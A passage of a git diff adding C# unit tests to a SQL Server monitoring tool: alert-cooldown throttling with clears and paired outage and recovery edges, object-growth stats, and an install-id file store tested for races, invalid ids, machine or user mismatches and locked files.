+        cd.ClearMetric("1", "Server Unreachable");
+        Assert.False((await cd.EvaluateAsync("1", "High CPU", null, Window)).ShouldSend);
+    }
+
+    /// <summary>
+    /// #5469 part 2: a scope folds into the metric-level key, so two scopes of one metric on one server hold
+    /// separate windows, a scoped clear forgets only its own, and a null scope is the unscoped key. A scoped
+    /// key is not seeded from the history (it carries no scope), so a sibling's history row never throttles it.
+    /// </summary>
+    [Fact]
+    public async Task Scope_SplitsTheMetricLevelKey_ClearsAndSeedsPerScope()
+    {
+        var seedCalls = 0;
+        var cd = new IncidentCooldown("", (_, _, _) => { seedCalls++; return Task.FromResult<DateTime?>(DateTime.UtcNow); });
+
+        // The unscoped key seeds from history (a row in the window), the scoped keys do not.
+        Assert.False((await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window)).ShouldSend);
+        Assert.Equal(1, seedCalls);
+        var a = await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window, "AG:A");
+        Assert.True(a.ShouldSend);
+        Assert.Equal(1, seedCalls);
+        cd.Stamp(a);
+
+        Assert.False((await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window, "AG:A")).ShouldSend);
+        var b = await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window, "AG:B");
+        Assert.True(b.ShouldSend);
+        cd.Stamp(b);
+
+        cd.ClearMetric("1", "AG Replica Disconnected", "AG:A");
+        Assert.True((await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window, "AG:A")).ShouldSend);
+        Assert.False((await cd.EvaluateAsync("1", "AG Replica Disconnected", null, Window, "AG:B")).ShouldSend);
+    }
+
+    /// <summary>
+    /// The clear must survive the history seed (the review's point 2): both production paths construct the
+    /// cooldown with a history store, so the entry <see cref="ClearMetric"/> removed gets RE-SEEDED from the
+    /// alert history on the next evaluation — and the next "Server Unreachable" was throttled against the
+    /// first outage's own send row, exactly the down-back-down reopening the clear exists to fix. The tests
+    /// above pass only because they seed nothing; this one pins the clear on a seeding store. Sticky for
+    /// PRE-clear rows only, both directions: the old row stays ignored (and stays ignored on every later
+    /// evaluation, since the skipped key is never stamped), while a genuine post-clear send re-arms.
+    /// </summary>
+    [Fact]
+    public async Task ClearMetric_BeatsAPreClearHistoryRow_AndAPostClearSeedStillApplies()
+    {
+        // The pre-clear world: history answers the first outage's send time, five minutes into a
+        // 15-minute window. The first evaluation is throttled by it — the seed applies while no clear
+        // has been recorded for the key.
+        var outageSentUtc = DateTime.UtcNow - TimeSpan.FromMinutes(5);
+        DateTime? seedAnswer = outageSentUtc;
+        var cd = new IncidentCooldown("", (_, _, _) => Task.FromResult(seedAnswer));
+
+        Assert.False((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+
+        // A delivered close records its instant and drops the entry. The pre-clear row behind the seed is
+        // now older than the clear, and every later evaluation must keep ignoring it — the throttled answer
+        // was exactly the regression this fix is for.
+        cd.ClearMetric("1", "Server Unreachable");
+        Assert.True((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+        Assert.True((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+
+        // The inverse, same cooldown state (the key is still unstamped in memory): the history now answers
+        // with a genuinely post-clear send. That row re-arms the key normally — the next repeat inside ITS
+        // window is throttled again.
+        await Task.Delay(1, TestContext.Current.CancellationToken); // the seed must answer strictly after the clear instant
+        seedAnswer = DateTime.UtcNow;
+        Assert.False((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+    }
+
     /* ─────────────── #3313: the per-fingerprint verdicts, not only their reduction ─────────────── */
 
     /// <summary>
@@ -312,6 +407,10 @@ public async Task Eviction_DropsKeysPastTwiceWindow_KeepsDictBounded()
         cd.Stamp(a);
         Assert.Equal(1, cd.TrackedKeyCount);
 
+        // The clear record faces the same bound: dropped past 2x its own window.
+        cd.ClearMetric("1", "Server Unreachable");
+        Assert.Equal(1, cd.TrackedClearCount);
+
         await Task.Delay(250, TestContext.Current.CancellationToken); // > 2x window: A is now evictable
 
         var b = await cd.EvaluateAsync("1", "Deadlocks Detected", Incidents("B"), window);
@@ -319,5 +418,67 @@ public async Task Eviction_DropsKeysPastTwiceWindow_KeepsDictBounded()
 
         // A was pruned at the top of the second Evaluate, so only B remains (not 2).
         Assert.Equal(1, cd.TrackedKeyCount);
+        // And the clear record was pruned by the same sweep (a clear's instant is two windows old here).
+        Assert.Equal(0, cd.TrackedClearCount);
+    }
+
+    /// <summary>
+    /// #5469: the history seed is pair-aware across a restart. A pair edge's stored send is skipped when the
+    /// pair's OTHER edge sent more recently (that edge opened or closed a newer incident), and applied when it
+    /// is the newest. Models "down, up, down, restart, up" (the recovery must be a first notice) and "down,
+    /// up, restart, down" (the firing must be one), each on a FRESH cooldown over the same history.
+    /// </summary>
+    [Fact]
+    public async Task PairedEdge_Seed_SkipsAnEdgeTheOtherEdgeHasSupersededAcrossARestart()
+    {
+        var now = DateTime.UtcNow;
+        var history = new Dictionary<string, DateTime>
+        {
+            ["Server Unreachable"] = now.AddMinutes(-3),
+            ["Server Restored"] = now.AddMinutes(-2),
+        };
+        Task<DateTime?> Seed(string server, string metric, string? dedup) =>
+            Task.FromResult<DateTime?>(history.TryGetValue(metric, out var at) ? at : null);
+
+        // down, up, then a restart, then down: the recovery (t-2) is newer than the firing (t-3), so the
+        // firing's stored send describes a closed incident and the new outage announces.
+        var afterUp = new IncidentCooldown("webhook:", Seed);
+        Assert.True((await afterUp.EvaluateAsync(
+            "1", "Server Unreachable", null, Window, null, "Server Restored")).ShouldSend);
+
+        // down, up, down, then a restart, then up: the second firing (t-1) is newer than the recovery (t-2).
+        history["Server Unreachable"] = now.AddMinutes(-1);
+        var afterDown = new IncidentCooldown("webhook:", Seed);
+        Assert.True((await afterDown.EvaluateAsync(
+            "1", "Server Restored", null, Window, null, "Server Unreachable")).ShouldSend);
+
+        // The newest edge still seeds: the firing (t-1) itself is inside its window after a restart.
+        var firingAgain = new IncidentCooldown("webhook:", Seed);
+        Assert.False((await firingAgain.EvaluateAsync(
+            "1", "Server Unreachable", null, Window, null, "Server Restored")).ShouldSend);
+
+        // Without the pair (every caller but auto-resolve) the seed is today's: the older row still seeds.
+        history["Server Unreachable"] = now.AddMinutes(-3);
+        var unpaired = new IncidentCooldown("webhook:", Seed);
+        Assert.False((await unpaired.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+    }
+
+    /// <summary>
+    /// #5469 tie rule: only a STRICTLY newer send on the other edge supersedes this edge's row. Both edges
+    /// stored at the same instant (a same-tick pair) seed as on dev, so each edge stays throttled.
+    /// </summary>
+    [Fact]
+    public async Task PairedEdge_Seed_TreatsEqualTimesAsNotSuperseded()
+    {
+        var at = DateTime.UtcNow.AddMinutes(-2);
+        Task<DateTime?> Seed(string server, string metric, string? dedup) => Task.FromResult<DateTime?>(at);
+
+        var firing = new IncidentCooldown("webhook:", Seed);
+        Assert.False((await firing.EvaluateAsync(
+            "1", "Server Unreachable", null, Window, null, "Server Restored")).ShouldSend);
+
+        var recovery = new IncidentCooldown("webhook:", Seed);
+        Assert.False((await recovery.EvaluateAsync(
+            "1", "Server Restored", null, Window, null, "Server Unreachable")).ShouldSend);
     }
 }
diff --git a/Lite.Tests/IndexLockingGridQualifiedNameTests.cs b/Lite.Tests/IndexLockingGridQualifiedNameTests.cs
index ea4df125b9..b0ccdaf9cd 100644
--- a/Lite.Tests/IndexLockingGridQualifiedNameTests.cs
+++ b/Lite.Tests/IndexLockingGridQualifiedNameTests.cs
@@ -28,6 +28,7 @@ namespace Lite.Tests;
 /// a hand-duplicated copy of this grid (no shared XAML across SKUs), so the XAML pin reads both files, the same
 /// drift-guard shape as <see cref="AvailabilityGroupsGridSortTests"/>.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class IndexLockingGridQualifiedNameTests
 {
     /* ---------------- the row property ---------------- */
diff --git a/Lite.Tests/IndexObjectStatsTests.cs b/Lite.Tests/IndexObjectStatsTests.cs
index a7aae7efbc..1190920490 100644
--- a/Lite.Tests/IndexObjectStatsTests.cs
+++ b/Lite.Tests/IndexObjectStatsTests.cs
@@ -58,6 +58,10 @@ private async Task<DuckDBConnection> SeedConnectionAsync()
 
     private async Task SeedScenarioAsync()
     {
+        // Six rows, one commit (#5208).
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+
         // BigTable (object 100): 200 MB -> 600 MB  => +400 MB / 200% growth
         await InsertObjectStat(_prior, "AppDb", 100, 1, "dbo", "BigTable", "PK_BigTable", 200m, 1_000_000, 0, 0, 0, 0, 0, 0);
         await InsertObjectStat(_latest, "AppDb", 100, 1, "dbo", "BigTable", "PK_BigTable", 600m, 3_000_000, 5000, 100, 10, 50, 0, 0);
@@ -69,6 +73,8 @@ private async Task SeedScenarioAsync()
         // HotTable (object 300 index 1): 10000ms -> 100000ms lock wait => +90000ms contention
         await InsertObjectStat(_prior, "AppDb", 300, 1, "dbo", "HotTable", "PK_HotTable", 80m, 250_000, 100, 5, 0, 200, 10_000, 0);
         await InsertObjectStat(_latest, "AppDb", 300, 1, "dbo", "HotTable", "PK_HotTable", 80m, 250_000, 200, 8, 0, 400, 100_000, 3);
+
+        batch.Commit();
     }
 
     private async Task InsertObjectStat(
@@ -107,10 +113,10 @@ private async Task SeedCpuAsync(DateTime time, int cpu)
     // ── read layer ──
 
     [Fact]
-    public async Task ObjectGrowthDrill_ATableWithNoEarlierSampleReadsUnknown_NotZero()
+    public async Task ObjectGrowthDrill_ATableCreatedInTheWindowCountsItsWholeSize()
     {
         await SeedScenarioAsync();
-        // NewTable exists only in the latest snapshot: there is nothing earlier to compare with.
+        // NewTable exists only in the latest snapshot: it was created after the earliest one, so it grew from nothing.
         await InsertObjectStat(_latest, "AppDb", 900, 1, "dbo", "NewTable", "PK_NewTable", 30m, 1_000, 0, 0, 0, 0, 0, 0);
 
         var (objects, _) = await _dataService.GetObjectGrowthHeatmapDataAsync(ServerId, "AppDb");
@@ -119,10 +125,10 @@ public async Task ObjectGrowthDrill_ATableWithNoEarlierSampleReadsUnknown_NotZer
         Assert.Equal(400m, big.Growth30dMb!.Value);
         Assert.Equal(400m / 30m, big.DailyGrowthRateMb!.Value, 4);
         var added = Assert.Single(objects, o => o.TableName == "NewTable");
-        Assert.Null(added.Growth30dMb);
-        Assert.Null(added.DailyGrowthRateMb);
+        Assert.Equal(30m, added.Growth30dMb!.Value);
+        Assert.Equal(30m / 30m, added.DailyGrowthRateMb!.Value, 4);
         Assert.Null(added.GrowthPct30d);
-        Assert.Equal("NewTable", objects[^1].TableName);
+        Assert.Equal("BigTable", objects[0].TableName);
     }
 
     [Fact]
diff --git a/Lite.Tests/InstallIdStoreTests.cs b/Lite.Tests/InstallIdStoreTests.cs
new file mode 100644
index 0000000000..7ea99df4ec
--- /dev/null
+++ b/Lite.Tests/InstallIdStoreTests.cs
@@ -0,0 +1,663 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #4961: Lite's install id lives in its own file at the data root, <c>install-id.json</c>, beside the machine
+/// name and Windows user it was made for. These pin the contract the session names will be built on: the id is
+/// made once however many first sweeps ask at once, a bad id or a changed machine or user makes a new one with
+/// exactly one Warning that names both, and the rewrite never leaves a second file behind.
+///
+/// <para>Collection <c>app-logger-statics</c>: the Warning assertions drain the process-wide log buffer, which
+/// the other tests that do the same share.</para>
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class InstallIdStoreTests : IDisposable
+{
+    private const string MachineA = "HOST-A";
+    private const string MachineB = "HOST-B";
+    private const string SidA = "S-1-5-21-1000-2000-3000-1001";
+    private const string SidB = "S-1-5-21-1000-2000-3000-1002";
+
+    private readonly string _root =
+        Path.Combine(Path.GetTempPath(), "lite-installid-tests", Guid.NewGuid().ToString("N"));
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_root))
+            {
+                Directory.Delete(_root, recursive: true);
+            }
+        }
+        catch
+        {
+            /* Best-effort test cleanup. */
+        }
+    }
+
+    private string NewDir([CallerMemberName] string name = "")
+    {
+        var dir = Path.Combine(_root, name + "-" + Guid.NewGuid().ToString("N")[..6]);
+        Directory.CreateDirectory(dir);
+        return dir;
+    }
+
+    private static InstallIdStore StoreFor(string dir, string machine = MachineA, string? sid = SidA) =>
+        new(dir, machine, sid);
+
+    private static string IdFile(string dir) => Path.Combine(dir, InstallIdStore.FileName);
+
+    private static void WriteFile(string dir, string? id, string? machine, string? sid) =>
+        File.WriteAllText(IdFile(dir), JsonSerializer.Serialize(
+            new Dictionary<string, string?> { ["id"] = id, ["machine"] = machine, ["userSid"] = sid }));
+
+    private static (string? Id, string? Machine, string? Sid) ReadFile(string dir)
+    {
+        using var doc = JsonDocument.Parse(File.ReadAllText(IdFile(dir)));
+        string? Get(string name) => doc.RootElement.TryGetProperty(name, out var p) ? p.GetString() : null;
+        return (Get("id"), Get("machine"), Get("userSid"));
+    }
+
+    private static void AssertFile(string dir, string expectedId, string expectedMachine, string expectedSid)
+    {
+        var (id, machine, sid) = ReadFile(dir);
+        Assert.Equal(expectedId, id);
+        Assert.Equal(expectedMachine, machine);
+        Assert.Equal(expectedSid, sid);
+    }
+
+    private static List<string> Warnings(IEnumerable<string> log) =>
+        log.Where(l => l.Contains("[InstallId]", StringComparison.Ordinal)
+                       && l.Contains("[WARN ]", StringComparison.Ordinal)).ToList();
+
+    private static string[] FilesIn(string dir) =>
+        Directory.GetFiles(dir).Select(f => Path.GetFileName(f)!).OrderBy(f => f, StringComparer.Ordinal).ToArray();
+
+    /// <summary>Runs one <c>GetId</c> per caller on its own thread, released together so they genuinely overlap.</summary>
+    private static string?[] ResolveTogether(IEnumerable<InstallIdStore> callers)
+    {
+        var all = callers.ToArray();
+        using var gate = new Barrier(all.Length);
+        var tasks = all
+            .Select(s => Task.Factory.StartNew(
+                () =>
+                {
+                    gate.SignalAndWait();
+                    return s.GetId();
+                },
+                TaskCreationOptions.LongRunning))
+            .ToArray();
+        Task.WaitAll(tasks);
+        return tasks.Select(t => t.Result).ToArray();
+    }
+
+    /// <summary>
+    /// Test 1, one store: every collector's first sweep asks for the id at the same moment, and they must all get
+    /// the one id, from one resolve, with one file left behind.
+    /// </summary>
+    [Fact]
+    public void ParallelFirstResolves_OnOneStore_MakeOneId()
+    {
+        var dir = NewDir();
+        var store = StoreFor(dir);
+
+        var ids = ResolveTogether(Enumerable.Repeat(store, 32));
+
+        Assert.Single(ids.Distinct());
+        Assert.True(InstallId.IsValid(ids[0]), $"made '{ids[0]}'");
+        Assert.Equal(1, store.ResolveCount);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+        Assert.Equal(ids[0], ReadFile(dir).Id);
+    }
+
+    /// <summary>
+    /// Test 1, two stores: two stores on one empty directory (a second object built for the same data root) race
+    /// to make the file. Both must come away with the same id and the directory holds one file.
+    /// </summary>
+    [Fact]
+    public void TwoStoresRacingOnOneEmptyDirectory_AgreeOnOneIdAndLeaveOneFile()
+    {
+        for (var round = 0; round < 5; round++)
+        {
+            var dir = NewDir();
+            var first = StoreFor(dir);
+            var second = StoreFor(dir);
+            AppLogger.DrainBufferedLines();
+
+            var ids = ResolveTogether(Enumerable.Repeat(first, 12).Concat(Enumerable.Repeat(second, 12)));
+
+            Assert.Single(ids.Distinct());
+            Assert.True(InstallId.IsValid(ids[0]), $"made '{ids[0]}'");
+            Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+            Assert.Equal(ids[0], ReadFile(dir).Id);
+            Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+        }
+    }
+
+    /// <summary>
+    /// Another process wins the create in the moment between this store seeing no file and making one. The store
+    /// must take the winner's id and leave its file alone, rather than overwrite it with a second id.
+    /// </summary>
+    [Fact]
+    public void ALostCreateRace_AdoptsTheWinnersId_AndLeavesItsFileAlone()
+    {
+        var dir = NewDir();
+        var store = StoreFor(dir);
+        store.BeforeCreate = () => WriteFile(dir, "feedface", MachineA, SidA);
+        AppLogger.DrainBufferedLines();
+
+        var id = store.GetId();
+
+        Assert.Equal("feedface", id);
+        Assert.Equal("feedface", ReadFile(dir).Id);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+        Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+    }
+
+    /// <summary>
+    /// The winner has made the file but is still writing it, so it is held exclusively. The loser's re-read must
+    /// wait that out instead of reading the lock as "unreadable" and making a second id, which is the
+    /// intermittent split two first starts at the same moment would otherwise produce.
+    /// </summary>
+    [Fact]
+    public void ALoserThatFindsTheFileStillBeingWritten_WaitsForTheWinner()
+    {
+        var dir = NewDir();
+        var store = StoreFor(dir);
+        store.BeforeCreate = () =>
+        {
+            var held = new FileStream(IdFile(dir), FileMode.CreateNew, FileAccess.Write, FileShare.None);
+            var finish = new Thread(() =>
+            {
+                Thread.Sleep(75);
+                held.Write(JsonSerializer.SerializeToUtf8Bytes(
+                    new Dictionary<string, string?> { ["id"] = "feedface", ["machine"] = MachineA, ["userSid"] = SidA }));
+                held.Dispose();
+            })
+            { IsBackground = true };
+            finish.Start();
+        };
+        AppLogger.DrainBufferedLines();
+
+        var id = store.GetId();
+
+        Assert.Equal("feedface", id);
+        Assert.Equal("feedface", ReadFile(dir).Id);
+        Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+    }
+
+    /// <summary>
+    /// Two processes replace the same bad file at the same moment and must end on one id. The two stores here share the
+    /// process-wide resolve lock, so they take turns; the second finds the first's file and keeps its id. One Warning in
+    /// total, and one file left behind.
+    /// </summary>
+    [Fact]
+    public void TwoReplacersOfOneBadFile_EndWithTheSameId_AndOneWarning()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "NOT-AN-ID", MachineA, SidA);
+        AppLogger.DrainBufferedLines();
+
+        var ids = ResolveTogether(new[] { StoreFor(dir), StoreFor(dir) });
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        var id = Assert.Single(ids.Distinct());
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        AssertFile(dir, id!, MachineA, SidA);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+        Assert.Single(warnings);
+    }
+
+    /// <summary>
+    /// A replacer that judged the file bad is slow, and another process replaces it first. The slow one must end on that
+    /// process's id and leave its file alone: the file at the path is no longer the one it judged, so an id of its own
+    /// put over it would leave the two processes with different ids.
+    /// </summary>
+    [Fact]
+    public void ASlowReplacer_AdoptsTheIdAnotherReplacerAlreadyMade_AndLeavesItsFileAlone()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "NOT-AN-ID", MachineA, SidA);
+        string? first = null;
+        var slow = StoreFor(dir);
+        slow.BeforeReplace = () => first = StoreFor(dir).GetId();
+        AppLogger.DrainBufferedLines();
+
+        var id = slow.GetId();
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(first), $"the other replacer made '{first}'");
+        Assert.Equal(first, id);
+        AssertFile(dir, first!, MachineA, SidA);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+        var line = Assert.Single(warnings);
+        Assert.Contains(first!, line, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Another replacer has already moved the bad file out of the way and has not yet made the new one. This replacer
+    /// finds no file at the path, makes the file itself, and the other replacer's own create then finds it and adopts
+    /// its id.
+    /// </summary>
+    [Fact]
+    public void AReplacerThatFindsTheBadFileAlreadyMovedAside_MakesTheFile_AndALaterReadFindsOneId()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "NOT-AN-ID", MachineA, SidA);
+        var store = StoreFor(dir);
+        store.BeforeReplace = () => File.Move(IdFile(dir), IdFile(dir) + ".other-replacer");
+        AppLogger.DrainBufferedLines();
+
+        var id = store.GetId();
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        AssertFile(dir, id!, MachineA, SidA);
+        Assert.Equal(id, StoreFor(dir).GetId());
+        Assert.Single(warnings);
+    }
+
+    /// <summary>
+    /// Test 3, Lite half, bad id: an id that is not eight lowercase hex digits (wrong case, wrong length, not hex,
+    /// missing, or not a string) makes a new id and exactly one Warning. The old value is not an id, so the
+    /// Warning names it as "invalid" and does not repeat what the file held.
+    /// </summary>
+    [Theory]
+    [InlineData("DEADBEEF")]
+    [InlineData("deadbee")]
+    [InlineData("deadbeef0")]
+    [InlineData("deadbeeg")]
+    [InlineData("")]
+    [InlineData(null)]
+    public void ABadId_MakesANewId_AndOneWarningNamingBoth(string? badId)
+    {
+        var dir = NewDir();
+        WriteFile(dir, badId, MachineA, SidA);
+        AppLogger.DrainBufferedLines();
+
+        var id = StoreFor(dir).GetId()!;
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        Assert.NotEqual(badId, id);
+        var line = Assert.Single(warnings);
+        Assert.Contains("invalid", line, StringComparison.Ordinal);
+        Assert.Contains(id, line, StringComparison.Ordinal);
+        AssertFile(dir, id, MachineA, SidA);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+    }
+
+    /// <summary>Test 3, Lite half, machine: the same data folder opened on another machine is another install.</summary>
+    [Fact]
+    public void AMachineMismatch_MakesANewId_AndOneWarningNamingBoth()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "0123abcd", MachineA, SidA);
+        AppLogger.DrainBufferedLines();
+
+        var id = StoreFor(dir, MachineB, SidA).GetId()!;
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        Assert.NotEqual("0123abcd", id);
+        var line = Assert.Single(warnings);
+        Assert.Contains("0123abcd", line, StringComparison.Ordinal);
+        Assert.Contains(id, line, StringComparison.Ordinal);
+        AssertFile(dir, id, MachineB, SidA);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+    }
+
+    /// <summary>Test 3, Lite half, user: the same data folder under another Windows user is another install.</summary>
+    [Fact]
+    public void AUserSidMismatch_MakesANewId_AndOneWarningNamingBoth()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "0123abcd", MachineA, SidA);
+        AppLogger.DrainBufferedLines();
+
+        var id = StoreFor(dir, MachineA, SidB).GetId()!;
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        Assert.NotEqual("0123abcd", id);
+        var line = Assert.Single(warnings);
+        Assert.Contains("0123abcd", line, StringComparison.Ordinal);
+        Assert.Contains(id, line, StringComparison.Ordinal);
+        AssertFile(dir, id, MachineA, SidB);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+    }
+
+    /// <summary>A file that records no machine or user cannot be shown to match this one.</summary>
+    [Fact]
+    public void ABindingThatIsMissing_IsAMismatch()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "0123abcd", machine: null, sid: null);
+        AppLogger.DrainBufferedLines();
+
+        var id = StoreFor(dir).GetId();
+
+        Assert.NotEqual("0123abcd", id);
+        Assert.Single(Warnings(AppLogger.DrainBufferedLines()));
+    }
+
+    /// <summary>
+    /// A file that cannot be read as the id record (damaged, empty, or the wrong shape) is treated like a bad id:
+    /// a new id and exactly one Warning.
+    /// </summary>
+    [Theory]
+    [InlineData("this is not json")]
+    [InlineData("")]
+    [InlineData("[]")]
+    [InlineData("null")]
+    [InlineData("{\"id\": 12345678}")]
+    public void AnUnreadableFile_MakesANewId_AndOneWarning(string content)
+    {
+        var dir = NewDir();
+        File.WriteAllText(IdFile(dir), content);
+        AppLogger.DrainBufferedLines();
+
+        var id = StoreFor(dir).GetId()!;
+        var warnings = Warnings(AppLogger.DrainBufferedLines());
+
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        var line = Assert.Single(warnings);
+        Assert.Contains("invalid", line, StringComparison.Ordinal);
+        Assert.Contains(id, line, StringComparison.Ordinal);
+        AssertFile(dir, id, MachineA, SidA);
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+    }
+
+    /// <summary>
+    /// The ordinary case every start after the first: a good id bound to this machine and user is kept, quietly,
+    /// across store objects (a restart), and a change of letter case in the machine name is not a new machine.
+    /// </summary>
+    [Fact]
+    public void AMatchingFile_KeepsTheId_WithoutAWarning()
+    {
+        var dir = NewDir();
+        var made = StoreFor(dir).GetId();
+        AppLogger.DrainBufferedLines();
+
+        var again = StoreFor(dir).GetId();
+        var recased = StoreFor(dir, MachineA.ToLowerInvariant(), SidA.ToLowerInvariant()).GetId();
+
+        Assert.Equal(made, again);
+        Assert.Equal(made, recased);
+        Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+    }
+
+    /// <summary>
+    /// "Cached after the first resolve": once a store has answered, it does not look at the disk again, so a sweep
+    /// in the middle of a run cannot see the id change under it.
+    /// </summary>
+    [Fact]
+    public void TheIdIsCached_AfterTheFirstResolve()
+    {
+        var dir = NewDir();
+        var store = StoreFor(dir);
+        var first = store.GetId();
+        File.Delete(IdFile(dir));
+
+        var second = store.GetId();
+
+        Assert.Equal(first, second);
+        Assert.Equal(1, store.ResolveCount);
+        Assert.False(File.Exists(IdFile(dir)), "the second call went back to the disk");
+    }
+
+    /// <summary>
+    /// An id that cannot be saved is never used: sessions made under it could not be found again after a restart. The
+    /// store answers with no id, says so in one Warning with the error, asks again no sooner than a minute later, and
+    /// logs the repeats below Warning until an id is saved.
+    /// </summary>
+    [Fact]
+    public void WhenTheFileCannotBeSaved_NoIdIsUsed_AndTheNextCycleTriesAgain()
+    {
+        var blocker = Path.Combine(NewDir(), "not-a-folder");
+        File.WriteAllText(blocker, "a file where the data folder should be");
+        var data = Path.Combine(blocker, "data");
+        var clock = new DateTime(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+        var store = StoreFor(data);
+        store.UtcNowForTests = () => clock;
+        AppLogger.DrainBufferedLines();
+
+        Assert.Null(store.GetId());
+        var line = Assert.Single(Warnings(AppLogger.DrainBufferedLines()));
+        Assert.Contains("could not be saved", line, StringComparison.Ordinal);
+        Assert.Contains("next cycle tries again", line, StringComparison.Ordinal);
+        Assert.Contains("could not be saved", store.Failure, StringComparison.Ordinal);
+
+        /* Within the minute: no id, and the disk is not touched. */
+        clock = clock.AddSeconds(59);
+        Assert.Null(store.GetId());
+        Assert.Equal(1, store.ResolveCount);
+
+        /* After it: another try, which fails the same way and does not warn again. */
+        clock = clock.AddSeconds(2);
+        Assert.Null(store.GetId());
+        Assert.Equal(2, store.ResolveCount);
+        Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+
+        /* The folder is usable again: the next cycle after a minute saves an id and uses it. */
+        File.Delete(blocker);
+        clock = clock.AddSeconds(61);
+        var id = store.GetId();
+        Assert.True(InstallId.IsValid(id), $"made '{id}'");
+        Assert.Equal(id, ReadFile(data).Id);
+        Assert.Null(store.Failure);
+        Assert.Equal(id, store.GetId());
+        Assert.Equal(3, store.ResolveCount);
+    }
+
+    /// <summary>
+    /// A file that exists but cannot be read (here, held by another process past the wait) is never replaced: an id
+    /// made over it would drop the install's sessions from its own view. No id is used, one Warning says why, and the
+    /// file is left as it was.
+    /// </summary>
+    [Fact]
+    public void AFileLockedPastTheBudget_IsNeverReplaced_AndNoIdIsUsed()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "0123abcd", MachineA, SidA);
+        var before = File.ReadAllText(IdFile(dir));
+        var store = StoreFor(dir);
+        store.LockedReadBudget = TimeSpan.FromMilliseconds(150);
+        AppLogger.DrainBufferedLines();
+
+        string? id;
+        using (new FileStream(IdFile(dir), FileMode.Open, FileAccess.Read, FileShare.Delete))
+        {
+            id = store.GetId();
+        }
+
+        Assert.Null(id);
+        Assert.Equal(before, File.ReadAllText(IdFile(dir)));
+        Assert.Equal(new[] { InstallIdStore.FileName }, FilesIn(dir));
+        var line = Assert.Single(Warnings(AppLogger.DrainBufferedLines()));
+        Assert.Contains("could not be read", line, StringComparison.Ordinal);
+        Assert.Contains("next cycle tries again", line, StringComparison.Ordinal);
+        Assert.Contains("could not be read", store.Failure, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// No id is not cached: calls within a minute answer with none without touching the file, and the first call after
+    /// it reads the file once it can be read, and keeps that id.
+    /// </summary>
+    [Fact]
+    public void AFileThatCouldNotBeRead_IsReadAgainOnTheFirstCallAfterAMinute()
+    {
+        var dir = NewDir();
+        WriteFile(dir, "0123abcd", MachineA, SidA);
+        var clock = new DateTime(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+        var store = StoreFor(dir);
+        store.LockedReadBudget = TimeSpan.FromMilliseconds(100);
+        store.UtcNowForTests = () => clock;
+        var held = new FileStream(IdFile(dir), FileMode.Open, FileAccess.Read, FileShare.Delete);
+        try
+        {
+            Assert.Null(store.GetId());
+        }
+        finally
+        {
+            held.Dispose();
+        }
+
+        /* Readable now, but the minute has not passed: still no id, and the file is not read. */
+        clock = clock.AddSeconds(59);
+        Assert.Null(store.GetId());
+        Assert.Equal(1, store.ResolveCount);
+
